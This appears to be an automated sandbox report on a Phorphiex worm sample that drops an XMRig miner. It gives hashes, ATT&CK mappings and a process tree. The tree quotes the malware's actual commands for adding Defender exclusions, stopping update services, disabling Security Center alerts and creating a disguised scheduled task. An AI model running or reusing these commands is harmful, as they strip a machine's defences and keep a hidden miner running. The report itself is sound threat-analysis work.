phorphiex | 9eaaadf3857e4a3e83f4f78d96ab185213b6528c8e470807f9d16035daadf33d

Analysis

max time kernel
150s
max time network
149s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
16/10/2024, 17:26

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

file.exe
Size

83KB
MD5

06560b5e92d704395bc6dae58bc7e794
SHA1

fbd3e4ae28620197d1f02bfc24adaf4ddacd2372
SHA256

9eaaadf3857e4a3e83f4f78d96ab185213b6528c8e470807f9d16035daadf33d
SHA512

b55b49fc1bd526c47d88fcf8a20fcaed900bfb291f2e3e1186ec196a87127ed24df71385ae04fedcc802c362c4ebf38edfc182013febf4496ddeb66ce5195ee3
SSDEEP

1536:27zFjdFmav82WoPRgMRmtMJXlXXwfAbQaQG9MF7vRjoJrl:yRyO+oPKjoBAIcZF7vqrl

Score

10^/10

phorphiex xmrig discovery evasion execution loader miner persistence trojan worm

Malware Config

Signatures

Modifies security service 2 TTPs 1 IoCs

evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Start = "4"	sysppvrdnvs.exe

Phorphiex payload 1 IoCs

resource	yara_rule
behavioral1/files/0x000b00000001225a-4.dat	family_phorphiex

Phorphiex, Phorpiex
Phorphiex or Phorpiex Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.
worm trojan loader phorphiex

Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs

description	pid	Process	procid_target
PID 696 created 1196	696	3421027440.exe	21
PID 696 created 1196	696	3421027440.exe	21
PID 2804 created 1196	2804	winupsecvmgr.exe	21
PID 2804 created 1196	2804	winupsecvmgr.exe	21
PID 2804 created 1196	2804	winupsecvmgr.exe	21

Windows security bypass 2 TTPs 6 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\FirewallOverride = "1"	sysppvrdnvs.exe

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 1 IoCs

miner

resource	yara_rule
behavioral1/memory/2804-85-0x000000013F560000-0x000000013FAF7000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
540	powershell.exe
1736	powershell.exe
2836	powershell.exe

Downloads MZ/PE file
Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 6 IoCs

pid	Process
1924	sysppvrdnvs.exe
1284	1961932162.exe
2216	2541523439.exe
1516	210041325.exe
696	3421027440.exe
2804	winupsecvmgr.exe

Loads dropped DLL 5 IoCs

pid	Process
1924	sysppvrdnvs.exe
1924	sysppvrdnvs.exe
1924	sysppvrdnvs.exe
1516	210041325.exe
2504	taskeng.exe

Windows security modification 2 TTPs 7 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\FirewallOverride = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiSpywareOverride = "1"	sysppvrdnvs.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\Windows Settings = "C:\\Windows\\sysppvrdnvs.exe"	file.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2804 set thread context of 2736	2804	winupsecvmgr.exe	64
PID 2804 set thread context of 2716	2804	winupsecvmgr.exe	65

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\sysppvrdnvs.exe	file.exe
File opened for modification	C:\Windows\sysppvrdnvs.exe	file.exe

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
320	sc.exe
2744	sc.exe
2816	sc.exe
2836	sc.exe
2808	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 11 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	file.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sysppvrdnvs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	210041325.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2160	schtasks.exe
540	schtasks.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
540	powershell.exe
1284	1961932162.exe
696	3421027440.exe
696	3421027440.exe
1736	powershell.exe
696	3421027440.exe
696	3421027440.exe
2804	winupsecvmgr.exe
2804	winupsecvmgr.exe
2836	powershell.exe
2804	winupsecvmgr.exe
2804	winupsecvmgr.exe
2804	winupsecvmgr.exe
2804	winupsecvmgr.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	540	powershell.exe
Token: SeDebugPrivilege	1284	1961932162.exe
Token: SeDebugPrivilege	1736	powershell.exe
Token: SeDebugPrivilege	2836	powershell.exe
Token: SeLockMemoryPrivilege	2716	dwm.exe
Token: SeLockMemoryPrivilege	2716	dwm.exe

Suspicious use of FindShellTrayWindow 9 IoCs

pid	Process
2716	dwm.exe
2716	dwm.exe
2716	dwm.exe
2716	dwm.exe
2716	dwm.exe
2716	dwm.exe
2716	dwm.exe
2716	dwm.exe
2716	dwm.exe

Suspicious use of SendNotifyMessage 9 IoCs

pid	Process
2716	dwm.exe
2716	dwm.exe
2716	dwm.exe
2716	dwm.exe
2716	dwm.exe
2716	dwm.exe
2716	dwm.exe
2716	dwm.exe
2716	dwm.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2504 wrote to memory of 1924	2504	file.exe	30
PID 2504 wrote to memory of 1924	2504	file.exe	30
PID 2504 wrote to memory of 1924	2504	file.exe	30
PID 2504 wrote to memory of 1924	2504	file.exe	30
PID 1924 wrote to memory of 2684	1924	sysppvrdnvs.exe	31
PID 1924 wrote to memory of 2684	1924	sysppvrdnvs.exe	31
PID 1924 wrote to memory of 2684	1924	sysppvrdnvs.exe	31
PID 1924 wrote to memory of 2684	1924	sysppvrdnvs.exe	31
PID 1924 wrote to memory of 1724	1924	sysppvrdnvs.exe	33
PID 1924 wrote to memory of 1724	1924	sysppvrdnvs.exe	33
PID 1924 wrote to memory of 1724	1924	sysppvrdnvs.exe	33
PID 1924 wrote to memory of 1724	1924	sysppvrdnvs.exe	33
PID 2684 wrote to memory of 540	2684	cmd.exe	35
PID 2684 wrote to memory of 540	2684	cmd.exe	35
PID 2684 wrote to memory of 540	2684	cmd.exe	35
PID 2684 wrote to memory of 540	2684	cmd.exe	35
PID 1724 wrote to memory of 320	1724	cmd.exe	36
PID 1724 wrote to memory of 320	1724	cmd.exe	36
PID 1724 wrote to memory of 320	1724	cmd.exe	36
PID 1724 wrote to memory of 320	1724	cmd.exe	36
PID 1724 wrote to memory of 2744	1724	cmd.exe	37
PID 1724 wrote to memory of 2744	1724	cmd.exe	37
PID 1724 wrote to memory of 2744	1724	cmd.exe	37
PID 1724 wrote to memory of 2744	1724	cmd.exe	37
PID 1724 wrote to memory of 2816	1724	cmd.exe	38
PID 1724 wrote to memory of 2816	1724	cmd.exe	38
PID 1724 wrote to memory of 2816	1724	cmd.exe	38
PID 1724 wrote to memory of 2816	1724	cmd.exe	38
PID 1724 wrote to memory of 2836	1724	cmd.exe	39
PID 1724 wrote to memory of 2836	1724	cmd.exe	39
PID 1724 wrote to memory of 2836	1724	cmd.exe	39
PID 1724 wrote to memory of 2836	1724	cmd.exe	39
PID 1724 wrote to memory of 2808	1724	cmd.exe	40
PID 1724 wrote to memory of 2808	1724	cmd.exe	40
PID 1724 wrote to memory of 2808	1724	cmd.exe	40
PID 1724 wrote to memory of 2808	1724	cmd.exe	40
PID 1924 wrote to memory of 1284	1924	sysppvrdnvs.exe	43
PID 1924 wrote to memory of 1284	1924	sysppvrdnvs.exe	43
PID 1924 wrote to memory of 1284	1924	sysppvrdnvs.exe	43
PID 1924 wrote to memory of 1284	1924	sysppvrdnvs.exe	43
PID 1284 wrote to memory of 2204	1284	1961932162.exe	44
PID 1284 wrote to memory of 2204	1284	1961932162.exe	44
PID 1284 wrote to memory of 2204	1284	1961932162.exe	44
PID 1284 wrote to memory of 2988	1284	1961932162.exe	46
PID 1284 wrote to memory of 2988	1284	1961932162.exe	46
PID 1284 wrote to memory of 2988	1284	1961932162.exe	46
PID 2204 wrote to memory of 316	2204	cmd.exe	48
PID 2204 wrote to memory of 316	2204	cmd.exe	48
PID 2204 wrote to memory of 316	2204	cmd.exe	48
PID 2988 wrote to memory of 2108	2988	cmd.exe	49
PID 2988 wrote to memory of 2108	2988	cmd.exe	49
PID 2988 wrote to memory of 2108	2988	cmd.exe	49
PID 1924 wrote to memory of 2216	1924	sysppvrdnvs.exe	50
PID 1924 wrote to memory of 2216	1924	sysppvrdnvs.exe	50
PID 1924 wrote to memory of 2216	1924	sysppvrdnvs.exe	50
PID 1924 wrote to memory of 2216	1924	sysppvrdnvs.exe	50
PID 1924 wrote to memory of 1516	1924	sysppvrdnvs.exe	51
PID 1924 wrote to memory of 1516	1924	sysppvrdnvs.exe	51
PID 1924 wrote to memory of 1516	1924	sysppvrdnvs.exe	51
PID 1924 wrote to memory of 1516	1924	sysppvrdnvs.exe	51
PID 1516 wrote to memory of 696	1516	210041325.exe	53
PID 1516 wrote to memory of 696	1516	210041325.exe	53
PID 1516 wrote to memory of 696	1516	210041325.exe	53
PID 1516 wrote to memory of 696	1516	210041325.exe	53

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1196
- C:\Users\Admin\AppData\Local\Temp\file.exe
  "C:\Users\Admin\AppData\Local\Temp\file.exe"
  2⤵
  - Adds Run key to start application
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2504
- - C:\Windows\sysppvrdnvs.exe
    C:\Windows\sysppvrdnvs.exe
    3⤵
    - Modifies security service
    - Windows security bypass
    - Executes dropped EXE
    - Loads dropped DLL
    - Windows security modification
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1924
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2684
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:540
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS /wait
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1724
    - - C:\Windows\SysWOW64\sc.exe
        
        sc stop UsoSvc
        5⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:320
    - - C:\Windows\SysWOW64\sc.exe
        
        sc stop WaaSMedicSvc
        5⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:2744
    - - C:\Windows\SysWOW64\sc.exe
        
        sc stop wuauserv
        5⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:2816
    - - C:\Windows\SysWOW64\sc.exe
        
        sc stop DoSvc
        5⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:2836
    - - C:\Windows\SysWOW64\sc.exe
        
        sc stop BITS /wait
        5⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:2808
  - - C:\Users\Admin\AppData\Local\Temp\1961932162.exe
      C:\Users\Admin\AppData\Local\Temp\1961932162.exe
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1284
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2204
      - C:\Windows\system32\reg.exe
        
        reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        6⤵
        
        PID:316
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2988
      - C:\Windows\system32\schtasks.exe
        
        schtasks /delete /f /tn "Windows Upgrade Manager"
        6⤵
        
        PID:2108
  - - C:\Users\Admin\AppData\Local\Temp\2541523439.exe
      C:\Users\Admin\AppData\Local\Temp\2541523439.exe
      4⤵
      Executes dropped EXE
      PID:2216
  - - C:\Users\Admin\AppData\Local\Temp\210041325.exe
      C:\Users\Admin\AppData\Local\Temp\210041325.exe
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1516
    - - C:\Users\Admin\AppData\Local\Temp\3421027440.exe
        
        C:\Users\Admin\AppData\Local\Temp\3421027440.exe
        5⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:696
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1736
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /tn "Microsoft Windows Security" /tr "'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe'"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2160
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /run /tn "Microsoft Windows Security"
  2⤵
  PID:2388
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2836
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /tn "Microsoft Windows Security" /tr "'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe'"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:540
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe
  2⤵
  PID:2736
- C:\Windows\System32\dwm.exe
  C:\Windows\System32\dwm.exe
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:2716

C:\Windows\system32\taskeng.exe
taskeng.exe {7E2F2BF6-CAB3-4623-8C28-2C8D1B3C52DB} S-1-5-21-3533259084-2542256011-65585152-1000:XPAJOTIY\Admin:Interactive:[1]
1⤵
- Loads dropped DLL
PID:2504
- C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe
  "C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  PID:2804

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\MPUI9R2R\1[1]

Filesize
108KB

MD5
1fcb78fb6cf9720e9d9494c42142d885

SHA1
fef9c2e728ab9d56ce9ed28934b3182b6f1d5379

SHA256
84652bb8c63ca4fd7eb7a2d6ef44029801f3057aa2961867245a3a765928dd02

SHA512
cdf58e463af1784aea86995b3e5d6b07701c5c4095e30ec80cc901ffd448c6f4f714c521bf8796ffa8c47538bf8bf5351e157596efaa7ab88155d63dc33f7dc3

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\X6N7XZ3SEXFIJB034CRV.temp

Filesize
7KB

MD5
965a51bba352d24f05323c57534d7c91

SHA1
306db500daaa9369e171b714f531c0f0455c71d0

SHA256
7e6bab14f9eeb28caae8b133e4a5d2acb14b6d5fea2c3a8dbf2aaa4de1d9da00

SHA512
caca642b57b1803f6358c8ece908fe31ed1fb91db3f789a58387de05a84af46aed6474a2c1746af6c1fced12929cb7b599268e49fbb20dfdd648d0a45a84c080

Download Submit
C:\Windows\sysppvrdnvs.exe

Filesize
83KB

MD5
06560b5e92d704395bc6dae58bc7e794

SHA1
fbd3e4ae28620197d1f02bfc24adaf4ddacd2372

SHA256
9eaaadf3857e4a3e83f4f78d96ab185213b6528c8e470807f9d16035daadf33d

SHA512
b55b49fc1bd526c47d88fcf8a20fcaed900bfb291f2e3e1186ec196a87127ed24df71385ae04fedcc802c362c4ebf38edfc182013febf4496ddeb66ce5195ee3

Download Submit
\Users\Admin\AppData\Local\Temp\1961932162.exe

Filesize
8KB

MD5
cb8420e681f68db1bad5ed24e7b22114

SHA1
416fc65d538d3622f5ca71c667a11df88a927c31

SHA256
5850892f67f85991b31fc90f62c8b7791afeb3c08ae1877d857aa2b59471a2ea

SHA512
baaabcc4ad5d409267a34ed7b20e4afb4d247974bfc581d39aae945e5bf8a673a1f8eacae2e6783480c8baaeb0a80d028274a202d456f13d0af956afa0110fdf

Download Submit
\Users\Admin\AppData\Local\Temp\210041325.exe

Filesize
10KB

MD5
96509ab828867d81c1693b614b22f41d

SHA1
c5f82005dbda43cedd86708cc5fc3635a781a67e

SHA256
a9de2927b0ec45cf900508fec18531c04ee9fa8a5dfe2fc82c67d9458cf4b744

SHA512
ff603117a06da8fb2386c1d2049a5896774e41f34d05951ecd4e7b5fc9da51a373e3fcf61af3577ff78490cf898471ce8e71eae848a12812fe98cd7e76e1a9ca

Download Submit
\Users\Admin\AppData\Local\Temp\2541523439.exe

Filesize
15KB

MD5
0c37ee292fec32dba0420e6c94224e28

SHA1
012cbdddaddab319a4b3ae2968b42950e929c46b

SHA256
981d724feebc36777e99513dc061d1f009e589f965c920797285c46d863060d1

SHA512
2b60b571c55d0441ba0cfc695f9db5cd12660ebec7effc7e893c3b7a1c6cb6149df487c31b8d748697e260cbc4af29331592b705ea9638f64a711c7a6164628b

Download Submit
\Users\Admin\AppData\Local\Temp\3421027440.exe

Filesize
5.6MB

MD5
13b26b2c7048a92d6a843c1302618fad

SHA1
89c2dfc01ac12ef2704c7669844ec69f1700c1ca

SHA256
1753ad35ece25ab9a19048c70062e9170f495e313d7355ebbba59c38f5d90256

SHA512
d6aff89b61c9945002a6798617ad304612460a607ef1cfbdcb32f8932ca648bcee1d5f2e0321bb4c58c1f4642b1e0ececc1eb82450fdec7dff69b5389f195455

Download Submit
memory/696-70-0x000000013F740000-0x000000013FCD7000-memory.dmp

Filesize
5.6MB

Download
memory/1284-29-0x000000013FB60000-0x000000013FB66000-memory.dmp

Filesize
24KB

Download
memory/1736-66-0x000000001B3F0000-0x000000001B6D2000-memory.dmp

Filesize
2.9MB

Download
memory/1736-67-0x0000000001EB0000-0x0000000001EB8000-memory.dmp

Filesize
32KB

Download
memory/2716-86-0x00000000000B0000-0x00000000000D0000-memory.dmp

Filesize
128KB

Download
memory/2736-87-0x0000000140000000-0x0000000140029000-memory.dmp

Filesize
164KB

Download
memory/2804-85-0x000000013F560000-0x000000013FAF7000-memory.dmp

Filesize
5.6MB

Download
memory/2836-79-0x000000001B630000-0x000000001B912000-memory.dmp

Filesize
2.9MB

Download
memory/2836-80-0x0000000002200000-0x0000000002208000-memory.dmp

Filesize
32KB

Download